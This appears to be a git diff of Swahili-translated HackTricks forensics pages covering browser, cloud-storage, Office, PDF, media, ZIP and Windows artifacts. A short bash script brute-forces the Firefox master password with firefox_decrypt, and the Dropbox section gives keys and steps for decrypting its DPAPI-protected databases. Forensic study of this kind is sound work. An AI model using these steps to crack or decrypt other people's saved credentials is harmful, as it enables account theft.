- **cookies.sqlite**: Hifadhi ya kuki, na [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) inapatikana kwa ukaguzi kwenye Windows.
- **cache2/entries** au **startupCache**: Data ya cache, inayoweza kupatikana kupitia zana kama [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
- **favicons.sqlite**: Inahifadhi favicons.
- **prefs.js**: Mipangilio na mapendeleo ya mtumiaji.
- **downloads.sqlite**: Hifadhi ya zamani ya downloads, sasa imeunganishwa kwenye places.sqlite.
- **thumbnails**: Thumbnails za tovuti.
- **logins.json**: Taarifa za kuingia zilizofichwa.
- **key4.db** au **key3.db**: Inahifadhi funguo za usimbaji kwa ajili ya kulinda taarifa nyeti.
Zaidi ya hayo, kuangalia mipangilio ya kivinjari ya kupambana na uhalifu wa mtandao kunaweza kufanywa kwa kutafuta `browser.safebrowsing` katika `prefs.js`, ikionyesha ikiwa vipengele vya kuvinjari salama vimewezeshwa au havijawezeshwa.
Ili kujaribu kufichua nenosiri kuu, unaweza kutumia [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
Kwa script na wito huu unaweza kubainisha faili la nenosiri ili kufanya brute force:
```bash:brute.sh
#!/bin/bash
#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
passfile=$1
while read pass; do
echo "Trying $pass"
echo "$pass" | python firefox_decrypt.py
done < $passfile
```
![](<../../../images/image (417).png>)
## Google Chrome
Google Chrome huhifadhi profaili za watumiaji katika maeneo maalum kulingana na mfumo wa uendeshaji:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
Ndani ya hizi directories, data nyingi za mtumiaji zinaweza kupatikana katika folda za **Default/** au **ChromeDefaultData/**. Faili zifuatazo zina data muhimu:
- **History**: Inashikilia URLs, downloads, na maneno ya utafutaji. Kwenye Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) inaweza kutumika kusoma historia. Safu ya "Transition Type" ina maana mbalimbali, ikiwa ni pamoja na kubonyeza kwa watumiaji kwenye viungo, URLs zilizotajwa, uwasilishaji wa fomu, na upakiaji wa kurasa.
- **Cookies**: Inahifadhi cookies. Kwa ukaguzi, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) inapatikana.
- **Cache**: Inashikilia data iliyohifadhiwa. Ili kukagua, watumiaji wa Windows wanaweza kutumia [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
- **Bookmarks**: Alama za mtumiaji.
- **Web Data**: Inashikilia historia ya fomu.
- **Favicons**: Inahifadhi favicons za tovuti.
- **Login Data**: Inajumuisha taarifa za kuingia kama vile majina ya watumiaji na nywila.
- **Current Session**/**Current Tabs**: Data kuhusu kikao cha sasa cha kuvinjari na tabo zilizo wazi.
- **Last Session**/**Last Tabs**: Taarifa kuhusu tovuti zilizokuwa hai wakati wa kikao cha mwisho kabla ya Chrome kufungwa.
- **Extensions**: Maktaba za nyongeza za kivinjari na addons.
- **Thumbnails**: Inahifadhi thumbnails za tovuti.
- **Preferences**: Faili yenye taarifa nyingi, ikiwa ni pamoja na mipangilio ya plugins, nyongeza, pop-ups, arifa, na zaidi.
- **Browsers built-in anti-phishing**: Ili kuangalia kama ulinzi wa kupambana na phishing na malware umewezeshwa, endesha `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Tafuta `{"enabled: true,"}` katika matokeo.
## **SQLite DB Data Recovery**
Kama unavyoona katika sehemu zilizopita, Chrome na Firefox zote zinatumia **SQLite** databases kuhifadhi data. Inawezekana **kurejesha entries zilizofutwa kwa kutumia zana** [**sqlparse**](https://github.com/padfoot999/sqlparse) **au** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
Internet Explorer 11 inasimamia data zake na metadata katika maeneo mbalimbali, ikisaidia kutenganisha taarifa zilizohifadhiwa na maelezo yake yanayohusiana kwa urahisi wa ufikiaji na usimamizi.
### Metadata Storage
Metadata kwa Internet Explorer inahifadhiwa katika `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (ikiwa VX ni V01, V16, au V24). Pamoja na hii, faili ya `V01.log` inaweza kuonyesha tofauti za muda wa mabadiliko na `WebcacheVX.data`, ikionyesha hitaji la kurekebisha kwa kutumia `esentutl /r V01 /d`. Metadata hii, iliyohifadhiwa katika database ya ESE, inaweza kurejeshwa na kukaguliwa kwa kutumia zana kama photorec na [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), mtawalia. Ndani ya jedwali la **Containers**, mtu anaweza kutambua jedwali maalum au vyombo ambavyo kila sehemu ya data imehifadhiwa, ikiwa ni pamoja na maelezo ya cache kwa zana nyingine za Microsoft kama Skype.
### Cache Inspection
Zana ya [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) inaruhusu ukaguzi wa cache, ikihitaji eneo la folda ya uchimbaji wa data ya cache. Metadata ya cache inajumuisha jina la faili, directory, idadi ya ufikiaji, asili ya URL, na alama za wakati zinazoashiria uundaji wa cache, ufikiaji, mabadiliko, na nyakati za kuisha.
### Cookies Management
Cookies zinaweza kuchunguzwa kwa kutumia [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), huku metadata ikijumuisha majina, URLs, idadi ya ufikiaji, na maelezo mbalimbali yanayohusiana na wakati. Cookies za kudumu huhifadhiwa katika `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, huku cookies za kikao zikiwa katika kumbukumbu.
### Download Details
Metadata ya downloads inapatikana kupitia [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), huku vyombo maalum vikihifadhi data kama URL, aina ya faili, na eneo la upakuaji. Faili halisi zinaweza kupatikana chini ya `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Browsing History
Ili kupitia historia ya kuvinjari, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) inaweza kutumika, ikihitaji eneo la faili za historia zilizochimbwa na usanidi kwa Internet Explorer. Metadata hapa inajumuisha nyakati za mabadiliko na ufikiaji, pamoja na idadi ya ufikiaji. Faili za historia ziko katika `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### Typed URLs
URLs zilizotajwa na nyakati zao za matumizi zimehifadhiwa ndani ya rejista chini ya `NTUSER.DAT` katika `Software\Microsoft\InternetExplorer\TypedURLs` na `Software\Microsoft\InternetExplorer\TypedURLsTime`, zikifuatilia URLs 50 za mwisho zilizotajwa na mtumiaji na nyakati zao za mwisho za kuingizwa.
## Microsoft Edge
Microsoft Edge huhifadhi data za watumiaji katika `%userprofile%\Appdata\Local\Packages`. Njia za aina mbalimbali za data ni:
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
- **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
Data za Safari huhifadhiwa katika `/Users/$User/Library/Safari`. Faili muhimu ni:
- **History.db**: Inashikilia jedwali la `history_visits` na `history_items` zikiwa na URLs na alama za wakati wa kutembelea. Tumia `sqlite3` kuuliza.
- **Downloads.plist**: Taarifa kuhusu faili zilizopakuliwa.
- **Bookmarks.plist**: Inahifadhi URLs zilizowekwa alama.
- **TopSites.plist**: Tovuti zinazotembelewa mara nyingi.
- **Extensions.plist**: Orodha ya nyongeza za kivinjari cha Safari. Tumia `plutil` au `pluginkit` kupata.
- **UserNotificationPermissions.plist**: Domains zilizoidhinishwa kutuma arifa. Tumia `plutil` kuchambua.
- **LastSession.plist**: Tabo kutoka kikao cha mwisho. Tumia `plutil` kuchambua.
- **Browsers built-in anti-phishing**: Angalia kwa kutumia `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Jibu la 1 linaashiria kuwa kipengele hiki kimewezeshwa.
## Opera
Data za Opera ziko katika `/Users/$USER/Library/Application Support/com.operasoftware.Opera` na inashiriki muundo wa Chrome kwa historia na upakuaji.
- **Browsers built-in anti-phishing**: Thibitisha kwa kuangalia kama `fraud_protection_enabled` katika faili ya Preferences imewekwa kuwa `true` kwa kutumia `grep`.
Njia hizi na amri ni muhimu kwa ufikiaji na kuelewa data za kuvinjari zilizohifadhiwa na vivinjari tofauti vya wavuti.
## References
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,42 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Baadhi ya mambo ambayo yanaweza kuwa na manufaa katika kutatua matatizo/kufichua faili ya VBS yenye uharibifu:
## echo
```bash
Wscript.Echo "Like this?"
```
## Maoni
```bash
' this is a comment
```
## Test
```bash
cscript.exe file.vbs
```
## Andika data kwenye faili
```js
Function writeBinary(strBinary, strPath)
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
' below lines purpose: checks that write access is possible!
Dim oTxtStream
On Error Resume Next
Set oTxtStream = oFSO.createTextFile(strPath)
If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
On Error GoTo 0
Set oTxtStream = Nothing
' end check of write access
With oFSO.createTextFile(strPath)
.Write(strBinary)
.Close
End With
End Function
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,97 +0,0 @@
# Local Cloud Storage
{{#include ../../../banners/hacktricks-training.md}}
## OneDrive
Katika Windows, unaweza kupata folda ya OneDrive katika `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Na ndani ya `logs\Personal` inawezekana kupata faili `SyncDiagnostics.log` ambayo ina data za kuvutia kuhusu faili zilizohusishwa:
- Ukubwa kwa bytes
- Tarehe ya kuunda
- Tarehe ya kubadilisha
- Idadi ya faili kwenye wingu
- Idadi ya faili kwenye folda
- **CID**: Kitambulisho cha kipekee cha mtumiaji wa OneDrive
- Wakati wa kutengeneza ripoti
- Ukubwa wa HD wa OS
Mara tu unapopata CID inashauriwa **kutafuta faili zinazohusisha kitambulisho hiki**. Unaweza kupata faili zenye jina: _**\<CID>.ini**_ na _**\<CID>.dat**_ ambazo zinaweza kuwa na taarifa za kuvutia kama majina ya faili zilizohusishwa na OneDrive.
## Google Drive
Katika Windows, unaweza kupata folda kuu ya Google Drive katika `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Folda hii ina faili inayoitwa Sync_log.log yenye taarifa kama anwani ya barua pepe ya akaunti, majina ya faili, muda, MD5 hashes za faili, n.k. Hata faili zilizofutwa zinaonekana katika faili hiyo ya logi na MD5 yake inayohusiana.
Faili **`Cloud_graph\Cloud_graph.db`** ni database ya sqlite ambayo ina jedwali **`cloud_graph_entry`**. Katika jedwali hili unaweza kupata **jina** la **faili** zilizohusishwa, muda wa kubadilisha, ukubwa, na MD5 checksum za faili.
Data za jedwali la database **`Sync_config.db`** zina anwani ya barua pepe ya akaunti, njia za folda zilizoshirikiwa na toleo la Google Drive.
## Dropbox
Dropbox inatumia **SQLite databases** kusimamia faili. Katika hii\
Unaweza kupata databases katika folda:
- `\Users\<username>\AppData\Local\Dropbox`
- `\Users\<username>\AppData\Local\Dropbox\Instance1`
- `\Users\<username>\AppData\Roaming\Dropbox`
Na databases kuu ni:
- Sigstore.dbx
- Filecache.dbx
- Deleted.dbx
- Config.dbx
Kipengele ".dbx" kinamaanisha kwamba **databases** zime **siri**. Dropbox inatumia **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN>))
Ili kuelewa vizuri usimbuaji ambao Dropbox inatumia unaweza kusoma [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Hata hivyo, taarifa kuu ni:
- **Entropy**: d114a55212655f74bd772e37e64aee9b
- **Salt**: 0D638C092E8B82FC452883F95F355B8E
- **Algorithm**: PBKDF2
- **Iterations**: 1066
Mbali na taarifa hiyo, ili kufungua databases bado unahitaji:
- **funguo ya DPAPI iliyosimbwa**: Unaweza kuipata katika rejista ndani ya `NTUSER.DAT\Software\Dropbox\ks\client` (hamasisha data hii kama binary)
- **`SYSTEM`** na **`SECURITY`** hives
- **funguo kuu za DPAPI**: Ambazo zinaweza kupatikana katika `\Users\<username>\AppData\Roaming\Microsoft\Protect`
- **jina la mtumiaji** na **nenosiri** la mtumiaji wa Windows
Kisha unaweza kutumia chombo [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
![](<../../../images/image (448).png>)
Ikiwa kila kitu kinaenda kama inavyotarajiwa, chombo kitakuonyesha **funguo kuu** ambayo unahitaji **kutumia ili kurejesha ile ya awali**. Ili kurejesha ile ya awali, tumia tu [mapishi ya cyber_chef](<https://gchq.github.io/CyberChef/index.html#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>) ukitumia funguo kuu kama "passphrase" ndani ya mapishi.
Hex inayotokana ni funguo ya mwisho inayotumika kusimbua databases ambazo zinaweza kufunguliwa na:
```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
The **`config.dbx`** database contains:
- **Email**: Barua pepe ya mtumiaji
- **usernamedisplayname**: Jina la mtumiaji
- **dropbox_path**: Njia ambapo folda ya dropbox iko
- **Host_id: Hash** inayotumika kuthibitisha kwenye wingu. Hii inaweza kufutwa tu kutoka kwenye wavuti.
- **Root_ns**: Kitambulisho cha mtumiaji
The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information:
- **Server_path**: Njia ambapo faili iko ndani ya seva (hii njia inatanguliwa na `host_id` ya mteja).
- **local_sjid**: Toleo la faili
- **local_mtime**: Tarehe ya mabadiliko
- **local_ctime**: Tarehe ya kuunda
Other tables inside this database contain more interesting information:
- **block_cache**: hash ya faili zote na folda za Dropbox
- **block_ref**: Inahusisha kitambulisho cha hash cha jedwali `block_cache` na kitambulisho cha faili katika jedwali `file_journal`
- **mount_table**: Shiriki folda za dropbox
- **deleted_fields**: Faili zilizofutwa za Dropbox
- **date_added**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,18 +0,0 @@
# Uchambuzi wa faili za Ofisi
{{#include ../../../banners/hacktricks-training.md}}
Kwa maelezo zaidi angalia [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Hii ni muhtasari tu:
Microsoft imeunda aina nyingi za fomati za hati za ofisi, ambapo aina mbili kuu ni **OLE formats** (kama RTF, DOC, XLS, PPT) na **Office Open XML (OOXML) formats** (kama DOCX, XLSX, PPTX). Fomati hizi zinaweza kujumuisha macros, na kuifanya kuwa malengo ya phishing na malware. Faili za OOXML zimeundwa kama vyombo vya zip, kuruhusu ukaguzi kupitia unzipping, ikifunua muundo wa faili na folda na maudhui ya faili ya XML.
Ili kuchunguza muundo wa faili za OOXML, amri ya kufungua hati na muundo wa matokeo zimepewa. Mbinu za kuficha data katika faili hizi zimeandikwa, zikionyesha uvumbuzi unaoendelea katika kuficha data ndani ya changamoto za CTF.
Kwa uchambuzi, **oletools** na **OfficeDissector** hutoa seti kamili za zana za kuchunguza hati za OLE na OOXML. Zana hizi husaidia katika kubaini na kuchambua macros zilizojumuishwa, ambazo mara nyingi hutumikia kama njia za usambazaji wa malware, kwa kawaida zinapakua na kutekeleza mzigo mbaya wa ziada. Uchambuzi wa macros za VBA unaweza kufanywa bila Microsoft Office kwa kutumia Libre Office, ambayo inaruhusu urekebishaji kwa kutumia breakpoints na watch variables.
Usanidi na matumizi ya **oletools** ni rahisi, huku amri zikipewa kwa ajili ya kusanidi kupitia pip na kutoa macros kutoka kwa hati. Utekelezaji wa moja kwa moja wa macros unasababishwa na kazi kama `AutoOpen`, `AutoExec`, au `Document_Open`.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,20 +0,0 @@
# Uchambuzi wa Faili za PDF
{{#include ../../../banners/hacktricks-training.md}}
**Kwa maelezo zaidi angalia:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
Muundo wa PDF unajulikana kwa ugumu wake na uwezo wa kuficha data, na kuufanya kuwa kitovu cha changamoto za forensics za CTF. Unachanganya vipengele vya maandiko ya kawaida na vitu vya binary, ambavyo vinaweza kuwa vimepigwa au kufichwa, na vinaweza kujumuisha skripti katika lugha kama JavaScript au Flash. Ili kuelewa muundo wa PDF, mtu anaweza kurejelea [nyenzo za utangulizi](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) za Didier Stevens, au kutumia zana kama mhariri wa maandiko au mhariri maalum wa PDF kama Origami.
Kwa uchambuzi wa kina au usindikaji wa PDFs, zana kama [qpdf](https://github.com/qpdf/qpdf) na [Origami](https://github.com/mobmewireless/origami-pdf) zinapatikana. Data zilizofichwa ndani ya PDFs zinaweza kufichwa katika:
- Tabaka zisizoonekana
- Muundo wa metadata wa XMP na Adobe
- Vizazi vya ongezeko
- Maandishi yenye rangi sawa na ya nyuma
- Maandishi nyuma ya picha au picha zinazovutana
- Maoni yasiyoonyeshwa
Kwa uchambuzi wa PDF wa kawaida, maktaba za Python kama [PeepDF](https://github.com/jesparza/peepdf) zinaweza kutumika kuunda skripti za uchambuzi maalum. Zaidi, uwezo wa PDF wa kuhifadhi data zilizofichwa ni mkubwa kiasi kwamba rasilimali kama mwongozo wa NSA kuhusu hatari za PDF na hatua za kupambana, ingawa haupo tena kwenye eneo lake la awali, bado hutoa maarifa muhimu. [Nakala ya mwongozo](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) na mkusanyiko wa [hila za muundo wa PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) kutoka kwa Ange Albertini zinaweza kutoa kusoma zaidi juu ya mada hii.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,9 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
**Fail za PNG** zinaheshimiwa sana katika **changamoto za CTF** kwa **kuhifadhi bila kupoteza**, na kuifanya kuwa bora kwa kuingiza data zilizofichwa. Zana kama **Wireshark** zinawezesha uchambuzi wa faili za PNG kwa kuchambua data zao ndani ya pakiti za mtandao, zikifunua taarifa zilizofichwa au kasoro.
Ili kuangalia uhalali wa faili za PNG na kurekebisha uharibifu, **pngcheck** ni zana muhimu, ikitoa kazi za amri kuthibitisha na kugundua faili za PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Wakati faili zimepitiliza marekebisho rahisi, huduma za mtandaoni kama [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) zinatoa suluhisho la mtandaoni kwa **kurekebisha PNG zilizoharibika**, kusaidia katika kuokoa data muhimu kwa washiriki wa CTF.
Mikakati hii inaonyesha umuhimu wa mbinu kamili katika CTFs, ikitumia mchanganyiko wa zana za uchambuzi na mbinu za ukarabati ili kufichua na kuokoa data zilizofichwa au kupotea.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,17 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
**Ushughulikiaji wa faili za sauti na video** ni msingi katika **changamoto za forensics za CTF**, ikitumia **steganography** na uchambuzi wa metadata kuficha au kufichua ujumbe wa siri. Zana kama **[mediainfo](https://mediaarea.net/en/MediaInfo)** na **`exiftool`** ni muhimu kwa kukagua metadata ya faili na kubaini aina za maudhui.
Kwa changamoto za sauti, **[Audacity](http://www.audacityteam.org/)** inajitokeza kama zana bora ya kutazama mawimbi na kuchambua spectrograms, muhimu kwa kugundua maandiko yaliyoandikwa katika sauti. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** inapendekezwa sana kwa uchambuzi wa kina wa spectrogram. **Audacity** inaruhusu ushawishi wa sauti kama vile kupunguza kasi au kurudisha nyimbo ili kugundua ujumbe uliofichwa. **[Sox](http://sox.sourceforge.net/)**, zana ya amri, inajitahidi katika kubadilisha na kuhariri faili za sauti.
**Least Significant Bits (LSB)** ushawishi ni mbinu ya kawaida katika steganography ya sauti na video, ikitumia vipande vya saizi thabiti vya faili za media kuficha data kwa siri. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** ni muhimu kwa kufungua ujumbe uliofichwa kama **DTMF tones** au **Morse code**.
Changamoto za video mara nyingi zinahusisha muundo wa kontena unaounganisha mstreams ya sauti na video. **[FFmpeg](http://ffmpeg.org/)** ndiyo chaguo bora kwa kuchambua na kushughulikia muundo hizi, ikiwa na uwezo wa ku-de-multiplex na kucheza maudhui. Kwa waendelezaji, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** inachanganya uwezo wa FFmpeg ndani ya Python kwa mwingiliano wa hali ya juu wa kuandikwa.
Mfululizo huu wa zana unasisitiza ufanisi unaohitajika katika changamoto za CTF, ambapo washiriki wanapaswa kutumia anuwai ya mbinu za uchambuzi na ushawishi ili kugundua data iliyofichwa ndani ya faili za sauti na video.
## References
- [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,21 +0,0 @@
# ZIPs tricks
{{#include ../../../banners/hacktricks-training.md}}
**Zana za mistari wa amri** kwa usimamizi wa **zip files** ni muhimu kwa ajili ya kugundua, kurekebisha, na kuvunja zip files. Hapa kuna zana muhimu:
- **`unzip`**: Inaonyesha kwa nini zip file inaweza isifunguke.
- **`zipdetails -v`**: Inatoa uchambuzi wa kina wa maeneo ya muundo wa zip file.
- **`zipinfo`**: Inataja maudhui ya zip file bila kuyatoa.
- **`zip -F input.zip --out output.zip`** na **`zip -FF input.zip --out output.zip`**: Jaribu kurekebisha zip files zilizoharibika.
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Zana ya kuvunja nenosiri la zip kwa nguvu, inafanya kazi kwa nenosiri hadi karibu herufi 7.
Maelezo ya [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) yanatoa maelezo ya kina kuhusu muundo na viwango vya zip files.
Ni muhimu kutambua kwamba zip files zilizo na nenosiri **hazifichi majina ya faili au ukubwa wa faili** ndani, kasoro ya usalama ambayo haipatikani kwa RAR au 7z files ambazo huficha taarifa hii. Zaidi ya hayo, zip files zilizofichwa kwa njia ya zamani ya ZipCrypto zinaweza kuathiriwa na **shambulio la plaintext** ikiwa nakala isiyo na usalama ya faili iliyoshinikizwa inapatikana. Shambulio hili linatumia maudhui yanayojulikana kuvunja nenosiri la zip, udhaifu huu umeelezwa kwa kina katika [makala ya HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) na kufafanuliwa zaidi katika [karatasi hii ya kitaaluma](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Hata hivyo, zip files zilizolindwa kwa **AES-256** encryption hazihusiki na shambulio hili la plaintext, ikionyesha umuhimu wa kuchagua mbinu za usimbaji salama kwa data nyeti.
## References
- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,498 +0,0 @@
# Windows Artifacts
## Windows Artifacts
{{#include ../../../banners/hacktricks-training.md}}
## Generic Windows Artifacts
### Windows 10 Notifications
Katika njia `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` unaweza kupata database `appdb.dat` (kabla ya Windows anniversary) au `wpndatabase.db` (baada ya Windows Anniversary).
Ndani ya hii SQLite database, unaweza kupata meza ya `Notification` yenye taarifa zote za arifa (katika muundo wa XML) ambazo zinaweza kuwa na data ya kuvutia.
### Timeline
Timeline ni sifa ya Windows inayotoa **historia ya muda** ya kurasa za wavuti zilizotembelewa, hati zilizohaririwa, na programu zilizotekelezwa.
Database inapatikana katika njia `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Hii database inaweza kufunguliwa kwa zana ya SQLite au kwa zana [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **ambayo inazalisha faili 2 ambazo zinaweza kufunguliwa kwa zana** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
### ADS (Alternate Data Streams)
Faili zilizopakuliwa zinaweza kuwa na **ADS Zone.Identifier** ikionyesha **jinsi** ilivyokuwa **imepakuliwa** kutoka intranet, internet, n.k. Programu zingine (kama vivinjari) kawaida huweka hata **zaidi** ya **taarifa** kama **URL** kutoka ambapo faili ilipakuliwa.
## **File Backups**
### Recycle Bin
Katika Vista/Win7/Win8/Win10 **Recycle Bin** inaweza kupatikana katika folda **`$Recycle.bin`** katika mzizi wa diski (`C:\$Recycle.bin`).\
Wakati faili inafuta katika folda hii, faili 2 maalum zinaundwa:
- `$I{id}`: Taarifa za faili (tarehe ya kufutwa)
- `$R{id}`: Maudhui ya faili
![](<../../../images/image (486).png>)
Kuwa na faili hizi unaweza kutumia zana [**Rifiuti**](https://github.com/abelcheung/rifiuti2) kupata anwani ya asili ya faili zilizofutwa na tarehe ilifutwa (tumia `rifiuti-vista.exe` kwa Vista Win10).
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
![](<../../../images/image (495) (1) (1) (1).png>)
### Nakala za Kivuli
Shadow Copy ni teknolojia iliyojumuishwa katika Microsoft Windows ambayo inaweza kuunda **nakala za akiba** au picha za faili au volumu za kompyuta, hata wakati zinatumika.
Nakala hizi za akiba kwa kawaida zinapatikana katika `\System Volume Information` kutoka kwenye mzizi wa mfumo wa faili na jina lake linajumuisha **UIDs** zilizoonyeshwa katika picha ifuatayo:
![](<../../../images/image (520).png>)
Kuweka picha ya uchunguzi kwa kutumia **ArsenalImageMounter**, chombo [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) kinaweza kutumika kuchunguza nakala ya kivuli na hata **kutoa faili** kutoka kwenye nakala za akiba za kivuli.
![](<../../../images/image (521).png>)
Kichupo cha rejista `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` kina faili na funguo **za kutokuweka akiba**:
![](<../../../images/image (522).png>)
Rejista `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` pia ina taarifa za usanidi kuhusu `Volume Shadow Copies`.
### Faili za Ofisi Zilizohifadhiwa Kiotomatiki
Unaweza kupata faili za ofisi zilizohifadhiwa kiotomatiki katika: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## Vitu vya Shell
Kitu cha shell ni kitu kinachobeba taarifa kuhusu jinsi ya kufikia faili nyingine.
### Hati za Karibuni (LNK)
Windows **hujenga** hizi **kiungo** kiotomatiki wakati mtumiaji **anapofungua, kutumia au kuunda faili** katika:
- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
- Ofisi: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Wakati folda inaundwa, kiungo kwa folda, kwa folda ya mzazi, na folda ya babu pia kinaundwa.
Hizi faili za kiungo zilizoundwa kiotomatiki **zinabeba taarifa kuhusu asili** kama ikiwa ni **faili** **au** **folda**, **MAC** **nyakati** za faili hiyo, **taarifa za volumu** ya mahali faili imehifadhiwa na **folda ya faili lengwa**. Taarifa hii inaweza kuwa muhimu kurejesha faili hizo ikiwa zingeondolewa.
Pia, **tarehe iliyoundwa ya kiungo** faili ni **wakati** wa kwanza faili asili ilitumika na **tarehe** **iliyorekebishwa** ya faili ya kiungo ni **wakati** wa **mwisho** faili asili ilitumika.
Ili kuchunguza faili hizi unaweza kutumia [**LinkParser**](http://4discovery.com/our-tools/).
Katika chombo hiki utapata **seti 2** za nyakati:
- **Seti ya Kwanza:**
1. FileModifiedDate
2. FileAccessDate
3. FileCreationDate
- **Seti ya Pili:**
1. LinkModifiedDate
2. LinkAccessDate
3. LinkCreationDate.
Seti ya kwanza ya nyakati inarejelea **nyakati za faili yenyewe**. Seti ya pili inarejelea **nyakati za faili iliyounganishwa**.
Unaweza kupata taarifa sawa ukitumia chombo cha CLI cha Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
